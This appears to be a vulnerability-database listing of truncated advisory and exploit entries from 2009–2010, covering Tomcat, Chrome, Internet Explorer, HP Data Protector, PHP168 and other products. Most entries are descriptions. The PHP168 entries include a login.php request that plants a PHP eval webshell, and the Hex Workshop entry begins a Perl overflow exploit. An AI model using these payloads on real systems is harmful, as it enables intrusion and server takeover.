tomcat: unexpected file deletion and/or alteration

Directory traversal vulnerability in Apache Tomcat 5.5.0 through 5.5.28 and 6.0.0 through 6.0.20 allows remote attackers to create or overwrite arbitrary files via a .. dot dot in an entry in a WAR file, as demonstrated by a ../../bin/catalina.bat entry...

COUPON SCRIPT v.6.0 SQL Injection Vulnerability

Exploit for php platform in category web applications =============================================== COUPON SCRIPT v.6.0 SQL Injection Vulnerability =============================================== Author: HaiHui Published: 28.06.2010 Software Link: http://www.couponscript.com Price: $165.00...

Google Chrome 'IFRAME' Denial Of Service Vulnerability

Google Chrome is prone to a denial of service DoS vulnerability. SPDX-FileCopyrightText: 2010 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Google Chrome 'IFRAME' Denial Of Service Vulnerability

This host is installed with Google Chrome and is prone to Denial Of Service vulnerability. OpenVAS Vulnerability Test $Id: secpodgooglechromeiframedosvuln.nasl 5394 2017-02-22 09:22:42Z teissa $ Google Chrome 'IFRAME' Denial Of Service Vulnerability Authors: Antu Sanadi Updated By: Madhuri D on...

HP System Management Homepage (SMH) Multiple Vulnerabilities (HPSBMA02492) - Windows

HP System Management Homepage SMH is prone to multiple vulnerabilities. This VT has been deprecated and merged into the VT SPDX-FileCopyrightText: 2010 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders...

Microsoft IE竞争条件远程代码执行漏洞（MS10-018）

BUGTRAQ ID: 39026 CVE ID: CVE-2010-0489 Internet Explorer是Windows操作系统中默认捆绑的web浏览器。 由于竞争条件，Internet Explorer访问已被破坏对象的方式存在远程代码执行漏洞。攻击者可以通过构建特制的网页来利用该漏洞，当用户查看网页时，该漏洞可能允许远程执行代码。成功利用此漏洞的攻击者可以获得与登录用户相同的用户权限。 Microsoft Internet Explorer 7.0 Microsoft Internet Explorer 6.0 SP1 Microsoft Internet Explorer...

PHPWind 6.0 - Multiple Cross-Site Scripting Vulnerabilities

source: https://www.securityfocus.com/bid/38867/info PHPWind is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting...

HP OmniInet.exe MSG_PROTOCOL Buffer Overflow

This module exploits a stack-based buffer overflow in the Hewlett-Packard OmniInet NT Service. By sending a specially crafted MSGPROTOCOL 0x010b packet, a remote attacker may be able to execute arbitrary code with elevated privileges. This service is installed with HP OpenView Data Protector, HP...

AproxEngine Multiple Remote Input Validation Vulnerabilities (Feb 2009)

AproxEngine is prone to multiple input-validation vulnerabilities, including SQL-injection, HTML-injection, directory-traversal, and email-spoofing issues. SPDX-FileCopyrightText: 2010 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the...

Sun Java System DSEE Multiple Vulnerabilities (Windows)

This host is running Sun Java System Directory Server Enterprise Edition DSEE and is prone to multiple vulnerabilities. OpenVAS Vulnerability Test $Id: secpodsunjavadirservermultvulnwin.nasl 5401 2017-02-23 09:46:07Z teissa $ Sun Java System DSEE Multiple Vulnerabilities Windows Authors: Sharath ...

HP OpenView Storage Data Protector备份客户端服务栈溢出漏洞

BUGTRAQ ID: 37396 CVECAN ID: CVE-2007-2280 HP OpenView Storage Data Protector是可扩展的数据管理解决方案，实现基于磁盘或磁带的高性能备份和恢复功能。 OpenView Storage Data Protector默认绑定在TCP 5555端口上的备份客户端服务守护程序（OmniInet.exe）在处理发送给MSGPROTOCOL命令的超长参数时存在栈溢出漏洞，远程攻击者可以通过提交恶意请求触发这个溢出，导致以服务的权限执行任意代码。 HP OpenView Storage Data Protector 6.0 H...

PHP168 6.0 - Command Execution

PHP168 6.0 - Command Execution Securitylab.ir Application Info: Name: PHP168 Version: 6.0 Discoverd By: Securitylab.ir Website: http://securitylab.ir Contacts: adminatsecuritylab.ir & info@securitylabdotir http://site.com/login.php?makehtml=1&chdbhtmlname=seek.php&chdbpath=cache&content=...

Microsoft IIS FTP Server 'ls' Command DoS Vulnerability

Microsoft IIS with FTP server is prone to a denial of service DoS vulnerability. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE =...

PHP168 6.0及以下版本login.php存在重大安全漏洞

PHP168整站系统一直以来受广大用户的亲睐，它凭借着自身的强大、稳定、安全、灵活、易用等多方面的优势 ... 架构与功能的不断完善，让PHP168成为了最主流CMS系统之一。 login.php参数处理不当，入侵者可以在用户登陆页面构造特殊语句，将PHP一句话写入cache目录，从而获得使用PHP168整站程序网站的WEBSHELL权限。 PHP168 6.0以下版本 暂无 等待官方补丁 login.php?makehtml=1&chdbhtmlname=honker.php&chdbpath=cache&content=?php%20@eval$POSThonker;?...

Hex Workshop 4.23 / 5.1 / 6.0 Universal Local Buffer Overflow

!/usr/bin/perl by hack4love [email protected] Hex Workshop v3//4//5//6 .hex Universal Local Buffer ExploitS SEH Found By: DATASNIPER http://www.bpsoft.com/downloads/ info:: i write 3 exploits for the 3 v USEfileimporthack4love.hex boom calc Hex Workshop v 3.11 my $hed1=":0000FC..."; my...

TurnkeySetup Net Marketing 6.0 - faqs.php Cross-Site Scripting

TurnkeySetup Net Marketing 6.0 - faqs.php Cross-Site Scripting source: https://www.securityfocus.com/bid/43435/info Net Marketing is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary HT...

SEC Consult SA-20090525-0 :: Nortel Contact Center Manager Server Authentication Bypass Vulnerability

SEC Consult Security Advisory 20090525-0 ========================================================================== title: Nortel Contact Center Manager Server Authentication Bypass program: Nortel Contact Center Manager Server vulnerable version: 6.0 homepage: http://www.nortel.com/ccms found:...

Qbik WinGate HTTP Proxy Server Access Controls Bypass Vulnerability

This host is running WinGate HTTP Proxy Server and is prone to access controls bypass vulnerability. OpenVAS Vulnerability Test $Id: secpodwingatehttpproxyservaclbypassvuln.nasl 5390 2017-02-21 18:39:27Z mime $ Qbik WinGate HTTP Proxy Server Access Controls Bypass Vulnerability Authors: Sharath S...

Microsoft Internet Explorer NULL Pointer DoS Vulnerability

This host has Internet Explorer installed and is prone to Remote Denial of Service vulnerability. OpenVAS Vulnerability Test $Id: gbmsienullptrdosvuln.nasl 6527 2017-07-05 05:56:34Z cfischer $ Microsoft Internet Explorer NULL Pointer DoS Vulnerability Authors: Sharath S Copyright: Copyright c 200...

ASPThai.Net Webboard 6.0 SQL Injection

ASPThai.Net Webboard 6.0bview.asp SQL Injection Vulnerability Autore: DaiMon Email: cwdaimon1gmail.com Site: http://www.cwdaimon.com Version: 6.0 Download: http://www.aspthai.net/detailcode.asp?Mode=Load&DID=7&Redirect=QUHG/UKCD/RREP/VZssGGYUkedWebLtksjudROM Bug In \bview.asp Google Dork:...